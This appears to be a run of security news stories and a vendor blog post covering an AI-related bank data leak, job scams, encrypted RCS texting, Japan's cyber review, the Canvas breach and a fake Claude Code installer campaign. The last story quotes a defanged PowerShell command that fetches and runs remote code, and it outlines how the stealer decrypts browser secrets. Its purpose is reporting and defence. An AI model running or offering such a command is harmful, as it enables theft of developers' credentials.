A US commercial bank just tattled on itself to the Securities and Exchange Commission (SEC) for plugging a bunch of customer data into an unauthorized AI application. Community Bank, which operates in southwestern Pennsylvania, Ohio, and West Virginia, filed an 8-K with the regulator on Monday, saying it launched an investigation into the internal cockup, which remains ongoing. It felt compelled to submit the filing "due to the volume and sensitive nature of the non-public information." This included customer names, dates of birth, and Social Security numbers, but the filing provided no further detail about the incident. Community Bank did not specify what this "unauthorized AI-based software application" was or how it was used. However, the disclosure of data such as SSNs, which in the US are generally categorized among the most sensitive types of data that organizations can store on behalf of customers, is protected under several federal and state laws. One possibility is that the data was entered into a generative AI tool outside the bank's approved systems. If so, that could raise questions about whether the information was transmitted to a third-party provider and how it may have been retained or processed. The Register asked Community Bank for more details and will update this story if it responds. The bank confirmed that it suffered no operational impact and customers were not prevented from accessing their accounts or payment services as a result. "The company is evaluating the customer data that was affected and is conducting notifications as required by applicable federal and state laws and regulatory guidance," Community Bank stated in its cybersecurity disclosure. "The company has been, and continues to be, in communication with relevant banking and financial regulators regarding the incident." It also promised to continue its remediation efforts, take action to prevent future failures, and gave the "we're committed to protecting customers' data" line that always goes down so well. ®

Graduation season should be about launching your career, not dodging scams.

But for many new grads, the job search now comes with a hidden risk: fake recruiters, fraudulent job offers, and convincing messages designed to steal money, personal information, or both.

The threat is larger than many people realize. According to McAfee’s 2026 State of the Scamiverse report, 76% of Americans have encountered a scam, and the average person receives 14 scam messages every day through text, email, and social media. Americans now spend an estimated 114 hours each year trying to figure out what is real online and what is not.

Young adults are among the most heavily targeted groups. Nearly 3 in 10 people ages 18 to 24 (28%) report receiving conversational scams that begin with casual outreach such as “Hey, how are you?” or a “wrong number” text. Those same tactics increasingly appear in fake recruiter messages, LinkedIn outreach, and texts promoting remote job opportunities.

Today’s job scams can look highly professional. Scammers build polished LinkedIn profiles, clone legitimate company websites, and even use AI-generated interviews to appear credible. Many scams unfold quickly, with nearly half completed in less than an hour, creating pressure to act before candidates have time to verify what is real.

That’s where tools like McAfee’s Scam Detector come in—flagging suspicious emails, texts, links, and messages before you engage, so you can tell what’s real before you click. 

Here’s how to avoid job scams and stay safe with McAfee: 

How Job Scams Actually Work

Step	What Happens	Red Flags	What Scammers Want
1. The Outreach	You’re contacted via email, text, or social media about a job	Unsolicited offer, vague role, overly enthusiastic recruiter	Your attention
2. The Build-Up	They walk you through interviews or onboarding steps	No video calls, inconsistent details, fast timeline	Your trust
3. The Ask	They request personal info or payment	SSN requests, bank info, “training fees”	Identity + money
4. The Trap	They escalate the situation or disappear	More payment requests or sudden silence	Continued financial gain

A Real Example: How People Get Pulled In

Even experienced professionals fall for these scams.

In one case, a tech expert with decades of experience lost $13,000 after accepting what looked like a legitimate part-time role reviewing products.

The opportunity seemed real:

• A polished website
• Structured onboarding
• A small initial payout

Then came the shift. He was told he needed to deposit money to continue working and kept paying more to “unlock” earnings that never came.

This type of advance fee scam is increasingly common in job fraud, and it works because it builds trust first.

What the Data Says

Recent graduates are entering the workforce at a time when scams are more sophisticated, more personalized, and harder to spot than ever before. McAfee’s 2026 State of the Scamiverse report highlights why younger job seekers should be especially cautious.

Young Adults Face Higher Risk

• Younger adults report the highest rates of repeat scam victimization. McAfee’s research found that scam victims under 35 are more likely than older adults to be targeted again, suggesting that early-career professionals may be especially vulnerable as they navigate job searches, salaries, and onboarding for the first time.

Scam Messages Are Constant

• Americans receive 14 scam messages per day on average.
• 76% of Americans say they have encountered an online scam.
• People spend 114 hours per year, nearly three full workweeks, trying to determine what is real and what is fake online.

Professional Platforms Are Not Immune

• 7% of respondents reported encountering scams on LinkedIn.
• 44% have replied to suspicious messages that contained no link at all.

Many modern scams begin with a simple message such as “I came across your profile” or “We’d like to discuss an opportunity,” rather than an obviously suspicious URL.

Job Scams Move Fast

• The average scam unfolds in just 38 minutes.

Scammers often create urgency by claiming a role is limited, an offer will expire quickly, or onboarding must begin immediately.

AI Makes Fake Recruiters More Convincing

• 35% of Americans are not confident they can spot deepfake scams.
• McAfee predicts job scams will become increasingly personalized as scammers use AI to create tailored outreach, onboarding documents, and contracts that closely match a candidate’s background.

Job Scams Are a Growing Financial Threat

• FTC-reported job scam losses rose nearly 40% year over year, increasing from $543 million in 2024 to $752 million in 2025.

For new graduates eager to land their first job, the lesson is simple: if an opportunity seems rushed, asks for money, or feels too good to be true, take a step back and verify before you respond.

Where McAfee Comes In

Job scams don’t just happen in one moment. They unfold in stages—first a message, then a conversation, then a request for information or money.

That’s why protection needs to work the same way: across the entire experience. McAfee’s comprehensive protection helps you stay ahead of job scams at every step:

McAfee+ Advanced gives you multiple layers working together so you are not left figuring it out after the damage is done:

• Identity Monitoring alerts you if your personal info shows up where it should not, so you can act fast
• Personal Data Cleanup helps remove your information from data broker sites, making you harder to target in the first place
• Scam Detector flags suspicious texts, emails, links, and even deepfake videos before you engage
• Safe Browsing helps block risky sites if you do click
• Device Security helps detect malicious apps or downloads
• Secure VPN keeps your data private, especially on public Wi-Fi   

The Biggest Red Flags to Watch For

These patterns show up again and again in job scams:

Red Flag	What It Looks Like	Why It’s a Problem	What to Do Instead
Requests for Sensitive Information Too Early	Asked for your Social Security number, banking info, or ID details early in the process	Scammers use this to steal your identity or access your accounts	Only share sensitive info after accepting a verified job—and through secure onboarding systems
You’re Asked to Pay to Work	Fees for training, equipment, onboarding, or background checks	Legitimate employers don’t charge candidates to get hired	Walk away immediately—this is one of the clearest signs of a scam
The Job Sounds Too Good to Be True	High pay, low hours, minimal experience required, vague responsibilities	Designed to hook attention and lower your guard	Research typical salaries and ask detailed questions about the role
The Hiring Process Moves Too Fast	Immediate job offers or rushed decisions without interviews	Real hiring processes involve multiple steps and evaluations	Be cautious of offers that skip standard hiring steps
No Real Interaction	Communication only via email or chat, refusal to do video or phone calls	Scammers avoid real-time interaction to stay anonymous	Request a video call or verify the recruiter through official company channels

How to Protect Yourself

You don’t need to overcomplicate it. Stick to a few grounded habits:

• Verify the company independently: Search the company, check official sites, confirm recruiter identities
• Keep communication on trusted platforms: Be cautious with offers coming from unexpected channels
• Never pay upfront for a job: That’s a dealbreaker
• Pause before sharing personal information: Especially early in the process
• Use tools that flag risks automatically: Scam Detector helps catch what looks legitimate, but isn’t

What to Do If You Think It’s a Scam

If something feels off:

• Stop communication immediately
• Do not send money or personal information
• Report the scam to the FTC
• Monitor your accounts for suspicious activity

If you’ve already shared sensitive information, act quickly to secure your accounts.

With McAfee’s comprehensive protection, you’re not left to figure it out on your own.

From blocking risky links to monitoring your identity and helping you respond quickly, it’s designed to help you stay one step ahead, and recover faster if needed. Because job searching is stressful enough without scammers, and you deserve to land your next job with confidence.

The post The New Grad’s Guide to Job and Recruitment Scams appeared first on McAfee Blog.

Apple and Google have taken a big step toward securing cross-platform texting, ending years of messages bouncing around in glorified plaintext. Apple announced this week that encrypted Rich Communication Services (RCS) messaging is rolling out in beta for iPhone users running iOS 26.5 and Android users on the latest version of Google Messages. The feature works across supported carriers and adds end-to-end encryption to cross-platform chats that were still taking the scenic route through carrier-era messaging infrastructure. Users will know it's enabled when a lock icon appears in RCS conversations. Apple says E2EE RCS messages cannot be read while traveling between devices, bringing Android-to-iPhone chats closer to the protections offered by WhatsApp and Signal. The move lands as other platforms head in the opposite direction. Earlier this month, Meta confirmed it was backing away from parts of its encryption rollout for Instagram DMs, telling The Register that "very few" people actually used the feature and suggesting privacy-minded users head over to WhatsApp instead. Apple, meanwhile, appears content to lean harder into the privacy angle, finally plugging one of the more obvious holes in modern messaging security. That gap has been hanging around for years. While iMessage chats between Apple devices were already encrypted, conversations involving Android phones could fall back to SMS or unencrypted RCS, depending on carrier support. Google had offered encrypted RCS chats inside Google Messages for years, but only when both sides used Google's ecosystem. Apple joining the party means cross-platform RCS encryption is finally starting to span the two largest mobile ecosystems. The rollout is still marked as beta, and carrier support varies by region, so not everyone will get encrypted chats immediately. UK availability remains unclear for now, as none of the major UK networks currently appear on Apple's published compatibility lists for the feature. Still, after two decades of the mobile industry insisting that interoperability and security could not coexist, cross-platform texting may finally be catching up with the rest of modern messaging. ®

Japan’s prime minister Sanae Takaichi has ordered a review of government cybersecurity strategy, citing the arrival of Anthropic’s bug-hunting model Mythos as a moment that makes it necessary to order a cabinet-level project. In a Tuesday cabinet meeting, the PM instructed cybersecurity minister Hisashi Matsumoto to devise measures to check the state of government systems to determine whether it’s possible to detect and fix vulnerabilities, and to develop a plan to ensure critical infrastructure operators can do likewise. Japan’s leader ordered the checks because she feels Mythos and similar frontier models may be misused, and that attacks on infrastructure may therefore increase in speed and scale – perhaps even exponentially. Over the last couple of years cybersecurity vendors and researchers have often pointed out that AI models make it possible to find flaws and automate attacks. When Anthropic debuted Mythos in early April, the notion that AI has the potential to vastly complicate the security landscape went mainstream. Many regulators around the world have issued guidance to point out that now is the perfect time to revisit and improve security strategies and capabilities, because Mythos and other AI models mean defenses are going to be tested like never before. India’s securities regulator went a step further by ordering a security review at the organizations it oversees. And now Japan’s leader has decided the matter is of sufficient importance that her office needs to weigh in and set new policy to ensure AI doesn’t go on a destructive rampage through Japanese infrastructure. Whether Takaichi’s urgency is needed is open to debate. Some researchers have said that while Mythos can find bugs at speed, but doesn’t find flaws humans can’t detect with their naked brains. Others suggest Mythos is not vastly better at finding bugs than open source models that pre-date it and are publicly available – unlike Mythos which is restricted to certain users. Others have all but dismissed Mythos as a marketing stunt. ® .

Ed-tech giant Instructure confirmed two rounds of unauthorized activity affecting its online learning platform Canvas within two weeks as data-theft-and-extortion crew ShinyHunters threatened to leak data it claims belongs to more than 275 million students, teachers, and staff tied to nearly 9,000 schools worldwide. In a security incident update, Instructure apologized for the disruption when Canvas went offline last Thursday, leaving thousands of colleges, universities, and K-12 schools without access to course materials, grades, and due dates during final exams and Advanced Placement testing for many. As of Saturday, the parent company claimed, “Canvas is fully back online and available for use.” And it finally broke its silence on Monday about what happened, admitting not one but two intrusions after criminals exploited a security vulnerability in its Free-for-Teacher learning system, and saying the data thieves stole information including usernames, email addresses, course names, enrollment information, and messages. “Core learning data (course content, submissions, credentials) was not compromised,” the Monday disclosure said. “We're still validating all findings, but we want to be clear about what we understand was and wasn't affected.” On April 29, the online education firm “detected unauthorized activity in Canvas,” immediately revoked the intruder’s access, and initiated a probe into the breach, according to Instructure’s notice posted on its website. On May 7, the company “identified additional unauthorized activity tied to the same incident.” ShinyHunters defaced about 330 Canvas school login portals, also exploiting the same Free-for-Teacher vulnerability, and that caused the ed-tech firm to take Canvas offline and “into maintenance mode to contain the activity.” ShinyHunters claims it stole 3.65 TB of data, including about 275 million records from about 8,800 schools including Harvard, Columbia, Rutgers, Georgetown, and Stanford universities. After moving the pay-or-leak deadline multiple times, ShinyHunters set a final deadline of end-of-day May 12 for individual institutions to contact them directly to negotiate payment - or the group will publish the full dataset. In response, Instructure said it temporarily shut down its Free-for-Teacher accounts. It also revoked privileged credentials and access tokens tied to compromised systems, rotated internal keys, restricted token creation pathways, and added monitoring across all platforms. The education platform hired CrowdStrike to assist with its forensic analysis and incident response, and said it also notified the FBI - which published its own alert on social media - and the US Cybersecurity and Infrastructure Security Agency. This is Instructure’s second breach in less than a year. ShinyHunters claimed to have breached Instructure's Salesforce environment in September 2025, and while Instructure didn’t name the crew in its latest disclosure, it did address the intrusion. “The prior Salesforce-related incident and this Canvas security incident are distinct events involving different systems and circumstances,” the company said. ® UPDATED AT 01:10 UTC MAY 12 Instructure At 10:21 UTC on May 11, Instructure updated its incident report to state "All Canvas environments are available." The company also admitted it "reached an agreement with the unauthorized actor involved in this incident" and secured stolen data." "We received digital confirmation of data destruction (shred logs)," the company said, adding "We have been informed that no Instructure customers will be extorted as a result of this incident, publicly or otherwise." Further: "This agreement covers all impacted Instructure customers, and there is no need for individual customers to attempt to engage with the unauthorized actor." The statement makes it hard not to conclude that Instructure took the controversial decision to pay a ransom. "While there is never complete certainty when dealing with cyber criminals, we believe it was important to take every step within our control to give customers additional peace of mind, to the extent possible," the statement adds. There is no honor among thieves.

An ongoing campaign steals developers’ secrets via fake Claude Code installers and other popular coding tools, according to Ontinue’s security researchers. The lure - as with several other infostealer attacks targeting developers over the past several months - mimics a legitimate one-line installer for an attacker-controlled command. In this case, the command is “irm https[:]//claude[.]ai/install.ps1 | iex”, and the lure replaced the destination host with “irm events[.]msft23[.]com | iex”. The payload is unique, and doesn’t match up with any documented malware family. It does, however, wreak havoc on developers exfiltrating decrypted cookies, passwords, and payment methods from Chromium-based browsers such as Google Chrome, Microsoft Edge, Brave, Vivaldi, and Opera. According to the threat hunters who documented the new campaign on Monday: “We publish for peer correlation rather than attribution.” The attacks also abuses the IElevator2 COM interface. This is Chromium’s elevation service used to handle App-Bound Encryption (ABE), specifically for encrypting and decrypting sensitive user data like cookies and passwords. Google introduced the new interface in January to protect Chromium-based browser data from cookie thieves, who used earlier ABE bypass techniques and commodity stealers that file-copied the SQLite databases holding cookies and saved passwords. However, crafty crooks (and security researchers) soon figured out workarounds to abuse IElevator2, as is the case with the newly spotted malware. The attack runs across three domains, all registered within six days of each other in April, and all fronted through Cloudflare. It relies on developers searching for “install claude code,” and selecting a sponsored result that leads to a lookalike Claude Code installation page. The page downloads and executes Anthropic’s authentic installer - but as Ontinue’s team found, the malicious instruction isn’t stored in the file itself, but instead rendered into the HTML of the landing page. “Automated scanners, URL reputation services, and any skeptical reviewer who simply curls the URL therefore observe clean PowerShell delivered from a Cloudflare-fronted domain bearing a valid Let’s Encrypt certificate,” the researchers wrote. “Victims, meanwhile, are presented with an entirely different command.” The pasted command redirects victims to an obfuscated PowerShell loader that injects a native AEB helper into a live browser process. The helper’s “exclusive purpose,” we’re told, is to invoke the browser's IElevator2 COM interface and recover the App-Bound Encryption key. The helper formats a pipe to exfiltrate sensitive data using Chromium’s legitimate Mojo naming convention for IPC pipes. It then attempts to use IElevator2 to decrypt developer secrets, but it falls back to the legacy interface on the Elevation Service alongside the legacy IElevator if the new one doesn’t work. Ontinue’s researchers published a full list of elevation-service identifiers, so be sure to check that out. And after receiving the ABE key from the helper, the PowerShell loader decrypts the local browser databases and sends the stolen data to an attacker-controlled server via an in-memory secure_prefs.zip archive. The malware hunters say that they compared the malware against published reporting for the several stealers - including Lumma, StealC, Vidar, EddieStealer, Glove Stealer, Katz Stealer, Marco Stealer, Shuyal, AuraStealer, Torg Grabber, VoidStealer, Phemedrone, Metastealer, Xenostealer, ACRStealer, DumpBrowserSecrets, DeepLoad, and Storm - and found no technical match. The closest is Glove Stealer, first documented by Gen Digital in November 2024, which also abuses IElevator via a helper module communicating over a named pipe. The orchestration model, however, differs from Glove in that it uses a “small native helper acting as a single-purpose ABE oracle, with all detection-visible activity pushed into PowerShell.” According to the research team, this split matters for defenders because "behavioral rule sets that look at the native PE in isolation will see nothing actionable,” as they wrote. “Detection has to land at the COM call and at the PowerShell layer.” ®